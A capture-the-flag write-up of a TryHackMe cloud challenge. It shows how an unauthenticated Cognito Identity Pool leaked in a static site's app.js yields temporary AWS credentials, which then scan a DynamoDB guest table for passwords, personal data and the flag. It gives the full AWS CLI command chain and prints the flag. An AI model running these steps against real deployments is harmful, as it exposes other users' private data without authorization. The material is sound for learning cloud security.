Writeup on THM Holiday Hack 2026:
Day 03 - Cloud / Complimentary

Author: Hubert Feyrer / hubertf, 2026-07-29


A "complimentary wellness" web app hosted as a static S3 website. Its client-side app.js wires up an unauthenticated Amazon Cognito Identity Pool - so anyone can mint temporary AWS credentials, and those credentials can read the app's DynamoDB table directly. The flag sits in the guest-profile data.

Challenge description

Install the free app and it hands your phone a set of cloud keys, the same set it hands everyone. They're read-only, but read-only of every guest's contacts, location, and passwords, not just Lambo's. She gave consent. Technically.

Lambo installed the Byte Lotus Wellness app the day she arrived - it was free, it had great reviews (written by the app, but she didn't check), and it got her a tote bag for saying yes to camera, mic, contacts, and location access. No account needed. No login screen. It just... knows things about you the moment you open it.

That's the whole pitch: "complimentary" access, no friction, no sign-up. Something still has to be deciding what you're allowed to see, even without a login - and whatever that something is, it isn't checking very carefully.

Your objective: find out how the app knows anything about you at all, and see what else it's willing to hand over. (Track down the AWS mechanism issuing you credentials; use them to dump more than your own record from the app's DynamoDB table; retrieve the flag from another guest's data.)

1. Download

None. The app is an S3-hosted static site; everything is client-side plus AWS APIs.

2. Docker/nc - what we get

http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/

3. Analysis steps

3.1 The client leaks a Cognito Identity Pool (success)

A static SPA does its auth in the browser - read app.js.

$ curl -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js
const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";
... AWS.config.credentials = new AWS.CognitoIdentityCredentials({ IdentityPoolId: IDENTITY_POOL_ID });

Conclusion: the Identity Pool allows unauthenticated identities. That is an AWS credential vending machine open to the public.

3.2 Mint unauthenticated credentials (success)

$ aws cognito-identity get-id --identity-pool-id "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688" --region us-east-1
{ "IdentityId": "us-east-1:4d571309-b055-c2ee-a173-dae4de8cbb92" }

$ aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:4d571309-b055-c2ee-a173-dae4de8cbb92" --region us-east-1
{ "Credentials": { "AccessKeyId": "ASIA...J425", "SecretKey": "...", "SessionToken": "IQoJ..." } }

$ export AWS_ACCESS_KEY_ID=ASIA...J425 AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=IQoJ...

Conclusion: we now hold temporary AWS creds bound to the guest (unauth) role - whatever that role can do, we can do.

3.3 Read the guest table -> flag (success)

The role has read on the app's DynamoDB table; scan it.

$ aws dynamodb scan --table-name "complimentary-GuestWellnessProfiles" --region us-east-1
{ "Items": [
    { "guest_id": {"S":"guest-vibe"}, "password": {"S":"digitaldetox2026"}, "name": {"S":"Vibe (Move Fast & Break Things)"}, ... },
    ... guest-ponzi, ... 5 items total ...
  ], "Count": 5 }
...
THM{fr33_app_fr33_d4t4!}

FLAG = THM{fr33_app_fr33_d4t4!}

Conclusion: a public unauth Cognito pool + an over-permissive guest role = full read of the guest profiles (names, passwords, geolocation) and the flag - "free app, free data".

4. Solution

1. read app.js                -> Identity Pool ID + region + table name
2. cognito-identity get-id    -> IdentityId
3. get-credentials-for-identity -> temporary AWS creds (unauth role)
4. dynamodb scan TABLE_NAME   -> guest profiles + THM{fr33_app_fr33_d4t4!}

5. Run it

$ aws dynamodb scan --table-name "complimentary-GuestWellnessProfiles" --region us-east-1 | grep -o 'THM{[^}]*}'
THM{fr33_app_fr33_d4t4!}

6. Summary of how the exploit works

#StageMechanism
1Disclosureapp.js leaks an unauthenticated Cognito Identity Pool ID + region + DynamoDB table name.
2Credential mintingget-id + get-credentials-for-identity yield temporary AWS creds for the unauth guest role.
3Data readThe role can dynamodb scan the guest table -> profiles + THM{fr33_app_fr33_d4t4!}.